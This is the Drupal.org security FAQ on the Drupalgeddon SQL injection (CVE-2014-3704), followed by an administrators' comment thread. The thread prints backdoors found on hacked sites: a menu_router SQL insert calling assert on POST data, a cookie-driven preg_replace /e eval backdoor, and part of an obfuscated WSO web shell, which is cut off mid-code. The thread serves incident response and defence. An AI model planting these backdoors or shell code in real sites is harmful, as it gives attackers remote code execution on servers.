What is Drupal 7.32 / CVE-2014-3704?

Drupal 7.32 is a security release that includes a fix for a SQL injection vulnerability. Use the CVE-2014-3704 to identify this vulnerability. The advisory with technical details is available at https://www.drupal.org/SA-CORE-2014-005

When should I update my site?

We strongly recommend Drupal 7 users update their sites immediately.

Why is it important to update now?

Drupal 7 sites are exposed to this vulnerability until they are updated. Unlike typical security advisories released for Drupal, the nature of this vulnerability provides a way for an attacker to create an exploit without needing an account or tricking someone into exposing confidential information.

Update: Following the release of this security advisory on October 15, systematic attacks were launched against a wide variety of Drupal websites in an attempt to exploit this vulnerability. If you did not update your site within < 7 hours of the bug being announced, we consider it likely your site was already compromised. See the follow-up PSA for more information: https://www.drupal.org/PSA-2014-003

See also this drush-based audit tool which may find some signatures of the attacks, and see also the links on that project page.

Do I have to update all the code? Can I just apply a patch?

We recommend that people use the latest release; however, a patch is available at https://www.drupal.org/SA-CORE-2014-005. If you are running a previous version, a patch will provide the same protection until you can do the full upgrade. Make sure to do a cache clear after updating the code (e.g. drush cc all).

Can I just put the site into Drupal's "Maintenance mode"?

This is not an effective way to mitigate this vulnerability. You could disable the site entirely (e.g. temporarily pointing the webserver at a directory that contains a static HTML page, or remove Drupal's index.php).

Can I just use WAF rules to protect my site?

It is not recommended to solely rely on WAF rules to protect your site against this SQL Injection vulnerability. We're not aware of any WAF rule that can detect 100% of the attacks and avoid any false positives due to the nature of Drupal's module eco-system (read more). Moreover, there may be other HTTP exploit vectors outside of the GET or POST content to exploit this vulnerability. No mitigation will offer as good a fix as upgrading your site to Drupal 7.32.

My site has already been patched

We've seen many reports where people found that their site had already been patched even though nobody in charge of the site updated the site. This means that the site was compromised via a new entry or an updated entry in the menu_router table, which allowed the attacker to execute commands on the server to patch the site. At this point, the site has been compromised and should probably be taken offline while you assess what to do including forensic review; an audit of all files, code, users, permissions, roles, database content; complying with local regulations and standards including informing users and potentially law enforcement; and remediation or rebuilding the site.

See also this drush-based audit tool which may find some of the back-doors and see also the links on that project page.

Is Drupal 6.x vulnerable?

Drupal core 6.x is not vulnerable to SA-CORE-2014-005 (CVE-2014-3704). Sites using the DBTNG contributed module might be vulnerable depending on how that module is used. A Drupal 6 site that is hosted on the same server as a Drupal 7 site might be vulnerable. See an investigation and remediation guide for advice about exploiting across sites/servers.

Is Drupal 8.0.x vulnerable?

Yes. Drupal core 8.0.x before 8.0.0-beta2 is vulnerable to SA-CORE-2014-005 (CVE-2014-3704). If you have been running an earlier version of Drupal 8.0.x on a public server, it is likely to have been compromised if you did not update to beta2 or patch within hours of the release of the SA, and you need to initiate steps to audit your site and recover.

Is Drupal secure?

All software has security vulnerabilities and Drupal is no exception. In a study by WhiteHat Security, 86% of websites across a variety of platforms both Open Source and proprietary had a serious vulnerability.

Drupal aims to provide a framework with built-in security features that make it easier for site-builders and developers to build a secure website.

Over the years the mix of security issues found in Drupal has changed. The OWASP project lists injection issues such as SQL Injection as the #1 issue based on how often it is found and the risk exposure. By providing rich APIs and developer education, Drupal has reduced the frequency of SQL Injection vulnerabilities.

Figure: from http://scor.github.io/drupal-security-2014/#/13

How are issues like this found?

This issue was identified by Sektion Eins, a renowned PHP security firm located in Germany who was hired to audit Drupal by an unnamed client. Every year dozens of Drupal websites hire penetration testers and security researchers to find issues like this and they are reported to the Drupal Security Team who helps get the fixes incorporated and released to the world. If you use Drupal in a high-security environment you might consider hiring such a firm.

How long did it take to release this patch?

The Drupal Security Team has a standard process for releasing core security issues. We work on them in coordination with the system maintainers and then release them on the third Wednesday of each month. The Drupal Security Team was informed of this issue in the third week of September of 2014. Given the severity of the issue, we debated about releasing it early. Our main concern was when people would have the time to perform the upgrade. Drupalcon Amsterdam started on September 29th meaning that many of our community members were busy preparing for that event. The week after Drupalcon is typically busy catching up from being at Drupalcon and then October 15th was the first regularly planned security release Wednesday. We felt that it would be better to use the regularly scheduled date which also happened to be the first date when the Drupal community would be likely to have time to focus on the upgrade.


dolu’s picture

Did someone apply the patch to older versions than 7.31?

If yes, did you notice any issue after applying the patch?


hello@ws.agency’s picture

We have applied patch to dozen of our D7 sites and haven't noticed any errors. If you need assistance with patch or upgrade feel free to contact us.

dolu’s picture

Thanks for your feedback, I just needed a confirmation before moving ahead with this patch. :)

Thank you!

j_sauve’s picture

I've patched an old 7.20 and a 7.27 as well as our 7.31 installs without any adverse effects. FYI.

pyQlo’s picture

i've applied the patch to ~ 30 D7-Website (7.14, 7.15, 7.17, 7.20, 7.22, 7.23, 7.24, 7.26, 7.28, 7.31, ...) - no notices or errors till now!

Screenack’s picture

The patches available here: http://fuerstnet.de/en/drupal-upgrade-easier normally work well for me, and did for a recent 7.31 to 7.32. However, on a recent 7.23 site, the patch failed on includes/iso.inc includes/bootstrap.inc

FWIW, further investigation revealed several *.php files that do not belong in a drupal directory, so the patches failing may be indicative of deeper issues.

drumrwaldo’s picture

I hadn't updated to 7.32 prior to today and found that someone had uploaded blog.php to my root directory, which was apparently spamming enough that my hosting company shut my site down. It would be good to have some examples of which php files we should look for.

John Pitcairn’s picture

They've had a week to hack your site. You may be compromised in any number of ways.

If you are on shared hosting, while your site is still offline, restore your entire home folder and Drupal database from the last backup before the security notice (you have backups, right?), upgrade to 7.32 immediately, and notify your hosting provider so they can re-enable your site. Tell them how you were compromised and link to the security notice in case they want to look further.

John Pitcairn’s picture

And subscribe to the Drupal security mailing list, so you can act as soon as possible on any issues that affect you.

Jaypan’s picture

It would be good to have some examples of which php files we should look for.

Your exploit had a defined file name, but in other cases (including both of the sites I found that were exploited), the filename and location was arbitrary, and likely randomly generated. So posting it here wouldn't be particularly useful.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

rgchi’s picture

I'm not sure how helpful this will be, but from everything I've read (here and here), it appears to be random four lettered files. These are inserted by injecting new entries into the menu_router table. If you're on a *nix system try searching from your root install (/var/www/html) directory.

find | egrep '\/[A-Za-z]{4}\.php$' --color

or (pipe to a file in your local folder and analyze it in a text editor)

find | egrep '\/[A-Za-z]{4}\.php$' > ~/four.letter.files.txt

or from /var/www/html, do the following to produce a list of unique files, sorted

find | egrep 'php$' | uniq | sort > ~/all.php.files.txt

That is:

# find all files
find |                        
# narrow the list to those ending with 'php'
egrep 'php$' |           
# narrow the list to only unique entries (remove duplicates, if any) 
uniq |                    
# sort this list alphabetically     
# put results into a local file in my home directory
>  ~/all.php.files.txt   


This would be one of many things to check through.

Others have suggested modules drupalgeddon and hacked! might aid in the search for such mysterious new files. And if it hasn't been mentioned, do read the PSA.

bart atlas’s picture

In case the example is useful, one of the unpatched sites I'm reviewing had this entry in menu_router:

INSERT INTO `menu_router` VALUES ('0x6666',' ',' ','assert','a:1:{i:0;s:19:\"@assert($_POST[d]);\";}','',NULL,'',0,0,0,'','','','','','','',0,' ','',0,NULL)

grant_drupal’s picture

Is there a specific field that I should be looking at in this table?

bart atlas’s picture

Basically it's setting the stage for a later attack. See https://gist.github.com/joshkoenig/70ebb6af239dd95f3ce6

Sorry I am replying so late, didn't see your reply before.

Xano’s picture

We have applied the patch to dozens of older client sites (not all clients have support contracts with us) and it worked fine. @chx even confirmed the patch can be applied to Drupal 7.0, as that part of the code base has never changed since then.

wscomn’s picture

I'm new to patching. Where in the database.inc file to I apply the code? At the end, or is there a specific place a patch must be placed?
Thanks for any help you can give me.
Bill C.

VM’s picture

you don't just drop the patch into a file. patches typically remove and add code. If you want to manually patch see: https://www.drupal.org/patch/apply

you can also obtain the file already patched from a 7.32 download.

VM’s picture

Mixologic’s picture

Edit: This comment was in response to a comment that has been unpublished, but said:

This opens a question on how secure is Drupal and who is responsible for something like this? Apparently this bug was known for more than a year, but nobody didn't react on Drupal.org. Accidentally or intentionally?

This bug is grave, thats why they are recommending that *everybody* upgrade their installations.

The question of "who is responsible for something like this" is simple. You are, and so am I. You can peruse the entire codebase and make sure that before running the code that it is secure enough for your own standards.

Most of the time, we are unqualified to make those determinations, or its not time efficient, and we rely on the security insight of others to have already looked at everything to the best of their ability to find security holes. But holes can happen, and will happen.

Drupal's volunteer security team does an excellent job of finding and preventing security holes, but they are not omniscient.

And while this bug was mentioned in a bug report, you must also understand that there is no person, or groups of persons who's job or role it is to read every issue with drupal core. That issue wasn't submitted as "hey, this is a security hole", and it wasnt submitted to the security teams issue queue (where there *are* people who's role it is to address these sorts of things). There are currently over 14000 issues in drupal core's issue queue. I would bet money that somebody else has also reported another potential security hole via some sort of report in there, and nobody has seen it. Who's job is it? Yours. Mine. Everybody who participates in an open source project. Many eyes make all bugs shallow only works if you actually have many eyes.

"Accidentally or intentionally" - I can guarantee you that there is zero chance that anybody would intentionally allow a bug like this to exist without alerting the community. As soon as the security team knew about it, they fixed it and prepared a release. Speculation that they would otherwise want to keep the system insecure is paranoid, and borderline insulting to those who do volunteer their time to keep it secure.

So, does this open a question of how secure Drupal is? No. It proves that *all* software has potential security issues and just like Heartbleed, Shellshock, Poodle, and all of the multitudes of unnamed security vulnerabilities out there, Drupal also may have undiscovered vulnerabilities.

David_Rothstein’s picture

I think Mixologic's response says it very nicely, but I also want to point out a couple possible improvements to drupal.org that have been suggested today as a result of this:

  1. #2358373: Improve clarity of the reporting security issues warning - to make it less likely that potential security issues get reported in the public issue queue in the first place.
  2. #2358243: Create automated monitoring for new issues in the public queue - to make it more likely that if a security issue is ever reported in public, someone is able to notice it amidst the thousands of other issues and take appropriate action (unpublish it and bring it to the attention of the security team).

In practice, I'm not sure it mattered much that aspects of this particular issue were public beforehand; we have no reason to think that the vulnerability was ever actually exploited before the fix was made publicly available. The main difference is that we would have all been scrambling around a year ago to deal with this, rather than now... But obviously, we can't know that for sure, and in the general case it could be a huge problem, which is why it's important to prevent that in the future.

luf’s picture

It is highly advisable to revert databases to backups after patching. It is possible to create data within the database which would remain active, in addition those using Linux are more susceptible to content uploads.

TheAlienShore’s picture

Noob here. I've downloaded Drupal 7.32 and did a search for database.inc but I see 4 different files in different locations with that name. Which one should I replace?

VM’s picture

Well you could replace all of them. You could also read the top of the patch file linked above which is patching /includes/database.inc

gnulux’s picture

Hello everybody,

I've just updated my Drupal with D7.32.

I understand we must have a look at the database (see below).

What isn't clear to me is: do we have to apply patches on top of upgrading to D7.32??

Jaypan’s picture

What isn't clear to me is: do we have to apply patches on top of upgrading to D7.32??

No. One or the other.

The Drupal organization has shut down discussion on improvement of the forums: https://www.drupal.org/node/2536122

It's time to start a new forum somewhere else. The Drupal organization does not care about the forums.

gnulux’s picture

Okay, Thanks Jaypan :-)

steve962’s picture

So, while manually patching our sites for this (as a quick solution before we do full Drupal updates later), we found one site which apparently had *already* been patched. This was highly suspicious, especially since the file mod date was listed as approximately 9 hours ago (at UTC Oct 16 09:37:52) when nobody was using the system and no login is registered for it, so we've been investigating.

The only thing we've found so far is another file which was apparently created at the same exact time as the update (actually, exactly one second before):


…which doesn't actually exist in the toolbar module (or anywhere else I can find). The file was owned by www-data:www-data, which makes it stick out like a sore thumb for us - our usual Drupal builds result in a different file owner. The contents of this new file look like an attempt to use some kind of exploit:

	<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

I'm not sure what that does, but it looks like some kind of attempt to exploit other PHP security holes. There is no evidence of anyone changing anything else in the database, which is kind of odd - no user changes, no content changes, no theme or module changes, but it's impossible to say for certain that we've covered all the possibilities. As near as I can tell, no other files were modified or created at that timeframe.

My initial educated guess is someone figured out a variation of this exploit which allows them to create a new file within the Drupal folder hierarchy that would later be used to try to hack the system. They then cover their tracks by patching the original hole and because they didn't make any obvious changes, the exploit file remains in place until they're ready to use it later. If you were patching Drupal through any other mechanism, you'd never even notice it. I thought I should probably post about it just in case other people might be affected by this.

baldwinlouie’s picture

You should check your menu_router table. That's how this entry was written to the filesystem. I have a similar case.

Baldwin Louie,
BitSprout LLC

steve962’s picture

Good catch. Yes, that seems to be how they did it. There was an "nqabio" entry there whose access function was file_put_contents(). Still investigating further possible damage. Sadly, we didn't have cookie logging enabled, so I'm not sure what functions were called in their pfmm.php file, which was called twice. I suspect $func1 is a string converter - decryption or base64 decoding or something else. I'm not sure about the others.

baldwinlouie’s picture

Keep everyone posted on what you find. I'll do the same if I can gather anything.

Baldwin Louie,
BitSprout LLC

MrAdamJohn’s picture

This approach seems to be the same one Josh from Pantheon mentioned in his article:

And Moshe from Acquia reports some other details :

... ultimately the information from teams that are monitoring this on a larger scale can share, is quite valuable imho.

Erwin Geirnaert’s picture

See http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo...

If your PHP user has full access, all odds are off

larowlan’s picture

Tipping that $opt is preg_replace, the /e being the eval modifier so $au is arbitrary php that will be executed.
Tipping $form1 is base64_decode().
Tipping that means the payload is base64 encoded executable php in the Kcqf1 cookie.

Lee Rowlands

--author="larowlan <larowlan@395439.no-reply.drupal.org>"
vijaycs85’s picture

As @larowlan mentioned, the code is

preg_replace("/292/e","[PHP code]",292);

php version < 5.5.0 has 'e' modifier which allows to evaluate the replaced string as php code.

In summary, the code gives option to execute any php script (with eval() function, any system command) on the server.

MKorostoff’s picture

Great insights larowlan and vijaycs85. Putting that all together, we can reverse engineer a deobfuscated version of the whole file: https://gist.github.com/MKorostoff/e7646fdf26a7532d27ac

dysrama’s picture

Just FYI, we are seeing exactly the same thing here.
Will update if we find out more

FluxSauce’s picture

Really appreciate the example (and this discussion).

I've updated https://drupal.org/project/site_audit to include a Security report, which (among other things) looks known bad combinations in menu_router. Specifically

  • access_callback / access_arguments
  • page_callback / page_arguments
  • title_callback / title_arguments
  • theme_callback / theme_arguments

and the following functions:

  • php_eval
  • file_put_contents

I'm going to keep an eye on this thread for more examples and will update if there are new patterns.

Unfortunately, I'm having a hard time coming up with a practical scan for new users or roles that can be potentially malicious. Hard-code a particular combination, then you can just vary the name, ID, password, and so forth.

kay_v’s picture

Hey FluxSauce -

Sounds very useful. Giving it a whirl now.

ownsourcing.com - Drupal training

xurizaemon’s picture

Hey FluxSauce. I knocked together Drupalgeddon Drush command to do similar before realising you had implemented this. Site Audit looks like a much more in-depth solution, but maybe tracking new known bad users/roles etc is a task better suited for a module dedicated to this one issue?

Would be good to get the FAQ updated to refer to both these Drush commands. I don't have edit access for this page. Maybe something like,

How can I check if my site has been compromised?

If you suspect your site has been compromised (eg it was unpatched when attacks were in the wild), you should treat it as compromised until you verify otherwise. There are tools which can help you check the site, including Site Audit (Drush command and module) and Drupalgeddon (Drush command). Note that while these may identify that your site HAS been affected, they are not able to guarantee that your site has NOT been affected.

Screenack’s picture

Drupalgeddon identified a hacked "drupaldev" account on my system. Site audit does not report any injections to my menu router table. So what is the vector in, then, from where an anon user can create this account? Thanks for the work everyone is doing on this.

Heine’s picture

The SQL injection vulnerability can be used to directly create a new user in the exploit. There's no need to go the menu router route.

Formulating mitigations from just one active exploit sequence is folly.

FluxSauce’s picture

This is the space where it's okay to have more than one tool. Drupalgeddon does some more explicit checks for specific usernames that are coming up now, and site_audit doesn't. The reason is that I'd rather focus on more common use cases, such as malicious entries in menu_router which can affect any site regardless of the attack vendor. I've been talking with xurizaemon on twitter about this as well; it'd make sense to collaborate and, say, add site_audit support to Drupalgeddon so it can focus / maintain on those specific signatures (like drupaldev), and site_audit handle more generic identifiers and problems.

> So what is the vector in, then, from where an anon user can create this account?

If the site was vulnerable (unpatched) at the time of the attack, then same way entries were added to menu_router - a SQL injection. The attacker wrote a SQL statement that inserted a row into the user table.

xqbzzr’s picture

Me too. A new user "drupaldev" with a new role "Megauser" was created.

myron_s’s picture

Can't install your site checking tool. Getting:
<code>The info file (temporary://update-extraction-18458363/site_audit/site_audit.info) does not define a 'name' attribute.

thomas1977’s picture

Getting the same error here. Did you find a solution?

Lecom1927’s picture

Tried, but just having the same problem. Mind telling me how you managed to scale through?

dealancer’s picture

To check what files were modified you can use `git status`, otherwise use Hacked module (https://www.drupal.org/project/hacked).

netgenius.co.uk’s picture

If they managed to write to modules/toolbar/pfmm.php than that must mean that the www-data user has write-access to at least the modules/toolbar subdirectory and maybe to modules/ and higher levels. I would suggest you make sure that everything from the drupal installation directory and below are owned by root or other suitable user/group (not www-data) and chmoded to 640/750 as appropriate.

Unavoidably, www-data needs write-access to files subdirectories such as sites/default/files, sites/sitename/files and so on. But in a standard (and properly configured/secured) installation those are the only directories that www-data should be able to write to.

likewhoa’s picture

It's perfectly safe to have all files and directories with group www-data or whatever the httpd process is running as but anything not sites/default/files sites/sitename/files as you stated need write access for media files. I wrote a script that does just this and it's located at https://github.com/likewhoa/drupal-fix-path which is the reason the few sites that I didn't get to update on time got hit but since the httpd group didn't have write or execute access on my drupal root, the attempt to write to those directories resulted in

Warning: file_put_contents(modules/image/vzoh.php): failed to open stream: Permission denied in _menu_check_access() (line 628 of includes/menu.inc).

The biggest mistake many people made is to allow full write+execute access to files that only really need to read permissions as the saying goes,.. never hack core so in other words core files and directories should be READ ONLY.

Bending technology to fit business

lanceh1412’s picture

This is the first time I've seen this stated in all the discussions about drupageddon. One of the most common exploits seems to involve writing a php file to the modules directory and yet if the permission are correctly set up I don't see how this is possible. Am I right in saying that if you have a dedicated server or vps and secure it correctly then it should be impossible to write outside of the files directory or other directories such as tmp or private where www-data is specifically given write access? On a shared host, where the web server runs as the user, I would imagine that the situation is a lot more serious.


netgenius.co.uk’s picture

@lanceh1412 Yes, if a dedicated server (VPS or real) is properly set up, it should be impossible for PHP files to be created
assuming that the Drupal base directory and everything below there, except the files sub-directories, i.e. files and private files (if used). That's for a basic/standard Drupal installation. Some 3rd-party modules may require their own writeable directories File Cache for example, and those areas may or may not be be below files. This topic is covered here.

I've spent time today writing my own scanner to find directories which could potentially have PHP files dropped into them. It does the following:

* Scans the directory tree looking for directories where it (the www-data user) can create files.
* It creates a trivial PHP file in each of those directories and then tests whether that can be read or executed via the web, deleting the file it created after the test.
* It lists and summarises the issues found.
* It's running here on my live server: http://netgenius.co.uk/test-for-writable-directories.php - and is mostly working, but I think the detection of web-access and web-execute isn't working properly yet. Nonetheless, it's nice to see no unexpected writeable directories listed.

If anybody wants a copy: http://netgenius.co.uk/test-for-writable-directories.php.src - but I'll probably be updating it tomorrow.

greggles’s picture

The security review module has that feature https://www.drupal.org/project/security_review :)

I believe it doesn't work when run via drush, but it will work via the web ui.

CARD.com :)

netgenius.co.uk’s picture

Hi greggles,

I know, but I wanted to have my own utility, to tweak as needed :)

ISTR the security review doesn't have one specific feature my script has (which now works) - that is, test whether a directory is writeable *and* web-executable, i.e. whether PHP runs there or not (not blocked by .htaccess or some other web-server configuration thing).

Looking at the results on my own site - http://netgenius.co.uk/test-for-writable-directories.php - it's showing me that PHP is executable in lots of bad places (files subdirectories, where the output says "WEB-EXECUTABLE"). This is nginx, so the Drupal-standard .htaccess files don't work. I need to tweak the nginx config.

Downloadable version: http://netgenius.co.uk/test-for-writable-directories.php.src

greggles’s picture

Seems interesting. Be careful in deciding if it's possible to execute scripts - If the webserver can write to the directory it can create a subfolder and place an .htaccess in that subfolder to re-enable executing php there.

CARD.com :)

netgenius.co.uk’s picture

True for Apache, but I run nginx :)

I've now made it impossible for PHP to run in files and elsewhere, and my test script now shows no "executable" directories. While I was at it, I also prevented access to module-related files such as .module, .install, .info - that makes it impossible for attackers to "sniff" if I'm using module x (which might have a vulnerability).

The relevant part of the nginx config goes like this:

        # Process only *allowed* PHP files.
        location ~ (index|cron|test-for-writable-directories)\.php$ {
                fastcgi_split_path_info ^(.+\.php)(/.+)$;
                include fastcgi_params;
                fastcgi_param SCRIPT_FILENAME $request_filename;
                fastcgi_intercept_errors on;
                fastcgi_pass unix:/var/run/php5-fpm.sock;

        # Block access (404) to PHP and module files everywhere else.
        location ~ \.(php|inc|module|install|info)$ {
          return 404;

I'm deliberately returning 404 (not found) rather than 403 (access denied) as the latter would indicate that the file is present. Obviously there are other ways of sniffing for modules, so that's not perfect. I'm deliberately disallowing access to update.php and other standard PHP files in the Drupal base directory, as I don't need them.

Just a note about my script, what it means by "readable" is a bit misleading - it means that the PHP file didn't get served (some configurations might serve a PHP file as text rather than execute it). Other (text, HTML, etc) files would quite possibly get served normally.

raj45’s picture

These two groups of commands are recommended on the Securing file permissions and ownership page page, to secure a server.


[root@localhost]cd /path_to_drupal_installation
[root@localhost]chown -R greg:www-data .
[root@localhost]find . -type d -exec chmod u=rwx,g=rx,o= '{}' \;
[root@localhost]find . -type f -exec chmod u=rw,g=r,o= '{}' \;

files directory

[root@localhost]cd /path_to_drupal_installation/sites
[root@localhost]find . -type d -name files -exec chmod ug=rwx,o= '{}' \;
[root@localhost]for d in ./*/files
   find $d -type d -exec chmod ug=rwx,o= '{}' \;
   find $d -type f -exec chmod ug=rw,o= '{}' \;

However, if you run the security_review audit afterwards, you get lots of warnings "Some files and directories in your install are writable by the server." and:

"The following files and directories appear to be writeable by your web server. In most cases you can fix this by simply altering the file permissions or ownership. If you have command-line access to your host try running "chmod 644 [file path]" where [file path] is one of the following paths (relative to your webroot). For more information consult the Drupal.org handbooks on file permissions.

... "

I know it's difficult to generalize, but would you recommend running the commands differently?

greggles’s picture

Yes, but only for the first automated attacks. There were new automated attacks within the next day or so that didn't rely on weakness in filesystem permissions.

CARD.com :)

lanceh1412’s picture

What sort of attacks are possible on a secured file system. I'm trying to understand what an attacker can get php to do that drupal can't. E..g write to a directory that www-data only has read access to?


Heine’s picture

They can simply write to the public files directory, then remove or edit the .htaccess in that directory to enable PHP execution.

greggles’s picture

That's true, but the webserver can also be configured to ignore that .htaccess and prevent php execution inside that directory at a system-level (e.g. in the virtualhost configuration). If the webserver is configured that way, it's likely an attacker would try to modify the .htaccess and try to place backdoors into the files directory which would be how they learned that it's not possible.

To answer the question about what can be done if a code backdoor can't be planted inside any of Drupal's files nor in any web-servable directory, the attacker can still alter Drupal's configuration in the database for their purposes: new users, new emails for old users, new permissions/roles, enabling/disabling modules, reading sensitive information, creating nodes/blocks that are configured to use the php input format, etc. etc.

CARD.com :)

likewhoa’s picture

Yea once they have access to drupal they can do all kinds of nasty things without even creating new files in the filesystem. One thing would be enabling php.module, would be a good time to propose a removal of that evil module from core IMHO.

I've always set user:www-data permissions with user being the owner of said site and said site being in a container of it's own away from the actual system. I containerized everything these days and run grsec on top of it all. 3 of my sites got hit but none managed to get very far with all 3 of them trying the random php file creation in modules folder.

I didn't run into any other attacks since the sites got patched shortly after. This morning I created a script in response to https://groups.drupal.org/node/448373 which basically is a starting point to monitor your drupal root file system path for any CRUD changes. The plan is to run this inotify driven script on all drupal roots and have it send out notifications. With this recent exploit it would have come in handy because of the nature of the attacked which initially created these random php files which this script would detect.

Contributions to the script are welcomed, I just wrote it this morning \o/

Bending technology to fit business

netgenius.co.uk’s picture

@likewhoa - I was thinking that too. The PHP input filter, PHP for block visibility, Rules PHP, and other modules which evaluate PHP for some reason. Access would be restricted at the Drupal permission level, but nothing more. Solution, delete those modules/features if you don't need them, but if you do need them, there's no solution (?).

likewhoa’s picture

The solution would be to learn to write code in a custom module but people new to Drupal find it that using php.module is easier than learning how to make alterations in code inside a custom module :(

Bending technology to fit business

John Pitcairn’s picture

We upgraded as soon as we got the SA notice yesterday. Today I'm starting to see attacks from Russian IP addresses that look like:

Oct 17 12:09:45 drupal: 1413500985||0|php|http://www.xxxx.com/user||Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 478 of /home/www/production/_drupal7/core/includes/unicode.inc).
Oct 17 12:09:45 drupal: 1413500985||0|php|http://www.xxxx.com/user||Warning: addcslashes() expects parameter 1 to be string, array given in DatabaseConnection->escapeLike() (line 984 of /home/www/production/_drupal7/core/includes/database/database.inc).
Oct 17 12:09:45 drupal: 1413500985||0|php|http://www.xxxx.com/user||PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &#039; &#039;larry&#039; AND status = 1&#039; at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array#012(#012    [:name_0] =&gt; bob#012    [:name_1] =&gt; larry#012)#012 in user_login_authenticate_validate() (line 2149 of /home/www/production/_drupal7/core/modules/user/user.module).
Oct 17 12:09:46 drupal: 1413500986||0|page not found|http://www.xxxx.com/aynlhe||aynlhe
Oct 17 12:09:49 drupal: 1413500989||0|page not found|http://www.xxxx.com/modules/filter/psjo.php||modules/filter/psjo.php

The directory and filename where they try to write a php file varies. I'm collecting a few more then I'll be writing a fail2ban rule to block the IPs at the firewall.

scor’s picture

If you have already upgraded then you are fine, these errors are to be expected even after the upgrade.

John Pitcairn’s picture

I understand that, but they definitely mark the originating IP as malicious and warrant a ban.

cayerdis’s picture

Same ip tried to hack my site today from Russia

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate()

asennus1’s picture

Our site was hacked from the same Russian IP Later on she tried to reach the hacked files.


The content:
?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

There was also new error_log: [18-Oct-2014 00:00:24 UTC] PHP Notice: Undefined variable: in /home/.../public_html/modules/blog/nzhm.php(1) : regexp code on line 1

And es465f.php:

?php ${"\x47LOB\x41\x4c\x53"}["\x76\x72vw\x65y\x70\x7an\x69\x70\x75"]="a";${"\x47\x4cOBAL\x53"}["\x67\x72\x69u\x65\x66\x62\x64\x71c"]="\x61\x75\x74h\x5fpas\x73";${"\x47\x4cOBAL\x53"}["\x63\x74xv\x74\x6f\x6f\x6bn\x6dju"]="\x76";${"\x47\x4cO\x42A\x4cS"}["p\x69\x6fykc\x65\x61"]="def\x61ul\x74\x5fu\x73\x65_\x61j\x61\x78";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x77i\x72\x6d\x78l\x71tv\x79p"]="defa\x75\x6c\x74\x5f\x61\x63t\x69\x6f\x6e";${"\x47L\x4fB\x41\x4cS"}["\x64\x77e\x6d\x62\x6a\x63"]="\x63\x6fl\x6f\x72";${${"\x47\x4c\x4f\x42\x41LS"}["\x64\x77\x65\x6dbj\x63"]}="\x23d\x665";${${"\x47L\x4fB\x41\x4c\x53"}["\x69\x77\x69rm\x78\x6c\x71\x74\x76\x79p"]}="\x46i\x6cesM\x61n";$oboikuury="\x64e\x66a\x75\x6ct\x5fc\x68\x61\x72\x73\x65t";${${"\x47L\x4f\x42\x41\x4cS"}["p\x69oy\x6bc\x65\x61"]}=true;${$oboikuury}="\x57indow\x73-1\x325\x31";@ini_set("\x65r\x72o\x72_\x6cog",NULL);@ini_set("l\x6fg_er\x72ors",0);@ini_set("max_ex\x65\x63\x75\x74\x69o\x6e\x5f\x74im\x65",0);@set_time_limit(0);@set_magic_quotes_runtime(0);@define("WS\x4f\x5fVE\x52S\x49ON","\x32.5\x2e1");if(get_magic_quotes_gpc()){function WSOstripslashes($array){${"\x47\x4c\x4f\x42A\x4c\x53"}["\x7a\x64\x69z\x62\x73\x75e\x66a"]="\x61\x72r\x61\x79";$cfnrvu="\x61r\x72a\x79";${"GLOB\x41L\x53"}["\x6b\x63\x6ct\x6c\x70\x64\x73"]="a\x72\x72\x61\x79";return is_array(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7ad\x69\x7ab\x73\x75e\x66\x61"]})?array_map("\x57SOst\x72\x69\x70\x73\x6c\x61\x73\x68\x65s",${${"\x47\x4cO\x42\x41LS"}["\x6b\x63\x6c\x74l\x70\x64\x73"]}):stripslashes(${$cfnrvu});}$_POST=WSOstripslashes($_POST);$_COOKIE=WSOstripslashes($_COOKIE);}function wsoLogin(){header("\x48\x54TP/1.\x30\x204\x30\x34\x20\x4eo\x74 \x46ound");die("4\x304");}function WSOsetcookie($k,$v){${"\x47\x4cO\x42ALS"}["\x67vf\x6c\x78m\x74"]="\x6b";$cjtmrt="\x76";$_COOKIE[${${"G\x4c\x4f\x42\x41LS"}["\x67\x76\x66\x6cxm\x74"]}]=${${"GLO\x42\x41\x4cS"}["\x63\x74\x78\x76t\x6f\x6fknm\x6a\x75"]};$raogrsixpi="\x6b";setcookie(${$raogrsixpi},${$cjtmrt});}$qyvsdolpq="a\x75\x74\x68\x5f\x70\x61s\x73";if(!empty(${$qyvsdolpq})){$rhavvlolc="au\x74h_\x70a\x73\x73";$ssfmrro="a\x75t\x68\x5fpa\x73\x73";if(isset($_POST["p\x61ss"])&&(md5($_POST["pa\x73\x73"])==${$ssfmrro}))WSOsetcookie(md5($_SERVER["H\x54\x54P_\x48\x4f\x53T"]),${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x72\x69\x75e\x66b\x64\x71\x63"]});if(!isset($_COOKIE[md5($_SERVER["\x48T\x54\x50\x5f\x48O\x53\x54"])])||($_COOKIE[md5($_SERVER["H\x54\x54\x50_H\x4fST"])]!=${$rhavvlolc}))wsoLogin();}function actionRC(){if(!@$_POST["p\x31"]){$ugtfpiyrum="a";${${"\x47\x4c\x4fB\x41LS"}["\x76r\x76w\x65\x79\x70z\x6eipu"]}=array("\x75n\x61m\x65"=>php_uname(),"p\x68\x70\x5fver\x73\x69o\x6e"=>phpversion(),"\x77s\x6f_v\x65\x72si\x6f\x6e"=>WSO_VERSION,"saf\x65m\x6f\x64e"=>@ini_get("\x73\x61\x66\x65\x5fm\x6fd\x65"));echo 